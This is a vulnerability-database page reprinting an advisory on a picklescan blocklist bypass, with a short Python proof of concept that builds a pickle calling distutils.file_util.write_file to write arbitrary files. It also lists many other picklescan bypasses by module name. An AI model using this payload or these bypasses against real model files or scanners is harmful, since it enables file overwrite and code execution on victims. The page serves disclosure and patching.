Sign in
Deutsch English Español Polski
High

Picklescan vulnerable to Arbitrary File Writing

  • Disclosed: 29.12.2025
  • Updated: 11.10.2026 13:19

Summary

Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.

Details

This is another vulnerability which impacts the downstream user.

By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.

PoC

python
import pickle
import distutils.file_util

class FileWriteBypass:
    def __reduce__(self):
        
        target_file = "pwned_config.env"
        content = ["print('I have overwritten your config')"]
        
        return (distutils.file_util.write_file, (target_file, content))

payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
    f.write(payload)

print("bypass_filewrite.pkl")
<img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" />

To fix this just add disutil to the blacklist

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) picklescan < 0.0.33 0.0.33

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness (CWE)
CWE-502, CWE-552
Platform
Python (PyPI)
Package
picklescan
Disclosed
29.12.2025
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1791 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-m273-6v24-x4m4 - CC BY 4.0

Vulnerability history: picklescan

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
02.2025 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 25
  • Medium 26

Disclosures per year

Severity:
  1. PickleScan has multiple stdlib modules with direct RCE not in blocklist
    Critical · 9.8 CVE-2026-56315 < 1.0.4 1.0.4
  2. PickleScan's pkgutil.resolve_name has a universal blocklist bypass
    Critical · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. PickleScan's profile.run blocklist mismatch allows exec() bypass
    Critical · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
    High CVE-2026-53875 < 1.0.3 1.0.3
  5. picklescan missing detection by simple obfuscation of a `builtins.eval` call
    High CVE-2026-53874 < 1.0.1 1.0.1
  6. picklescan has Arbitrary file read using `io.FileIO`
    High · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  7. Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
    High CVE-2025-71367 < 0.0.34 0.0.34
  8. Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller
    High CVE-2025-71375 < 0.0.34 0.0.34
  9. Picklescan is vulnerable to RCE via missing detection when calling numpy.f2py.crackfortran.getlincoef
    High CVE-2025-71372 < 0.0.33 0.0.33
  10. Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran.myeval
    High · 8.1 CVE-2025-71365 < 0.0.33 0.0.33
  11. Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller
    High CVE-2025-71373 < 0.0.33 0.0.33
  12. Picklescan missing detection when calling numpy.f2py.crackfortran.getlincoef
    High CVE-2025-71362 < 0.0.33 0.0.33
  13. Picklescan Bypasses Unsafe Globals Check using pty.spawn
    High · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  14. Picklescan missing detection when calling pty.spawn
    High ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  15. Picklescan has Incomplete List of Disallowed Inputs
    High CVE-2025-71320 < 0.0.33 0.0.33
  16. Picklescan does not block ctypes
    High · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  17. Picklescan vulnerable to Arbitrary File Writing this entry
    High CVE-2025-71321 < 0.0.33 0.0.33
  18. Picklescan Bypass is Possible via File Extension Mismatch
    Critical · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
  19. Picklescan: ZIP archive scan bypass is possible through non-exhaustive Cyclic Redundancy Check
    Critical · 7.5 CVE-2025-10156 < 0.0.31 0.0.31
  20. Picklescan is Vulnerable to Unsafe Globals Check Bypass through Subclass Imports
    Critical · 8.3 CVE-2025-10157 < 0.0.31 0.0.31
  21. Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand
    High CVE-2025-71357 < 0.0.30 0.0.30
  22. Picklescan is missing detection when calling built-in python ensurepip._run_pip
    High · 8.1 CVE-2025-71344 < 0.0.30 0.0.30
  23. Picklescan has a missing detection when calling built-in python idlelib.calltip.Calltip
    High · 8.1 CVE-2025-71361 < 0.0.29 0.0.29
  24. Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.fetch_completions
    High · 8.1 CVE-2025-71376 < 0.0.29 0.0.29
  25. Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.get_entity
    High · 8.1 CVE-2025-71358 < 0.0.29 0.0.29
  26. Picklescan has a missing detection when calling built-in python idlelib.debugobj.ObjectTreeItem
    High · 8.1 CVE-2025-71354 < 0.0.29 0.0.29
  27. Picklescan has a missing detection when calling built-in python profile.Profile.runctx
    High · 8.1 CVE-2025-71341 < 0.0.29 0.0.29
  28. Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config
    High · 8.1 CVE-2025-71348 < 0.0.28 0.0.28
  29. Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper
    High · 8.1 CVE-2025-71370 < 0.0.28 0.0.28
  30. Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass
    High CVE-2025-71325 < 0.0.27 0.0.27
  31. Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate
    High CVE-2025-46417 < 0.0.25 0.0.25
  32. picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pick
    Critical · 9.8 CVE-2025-1716 < 0.0.22 0.0.22

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.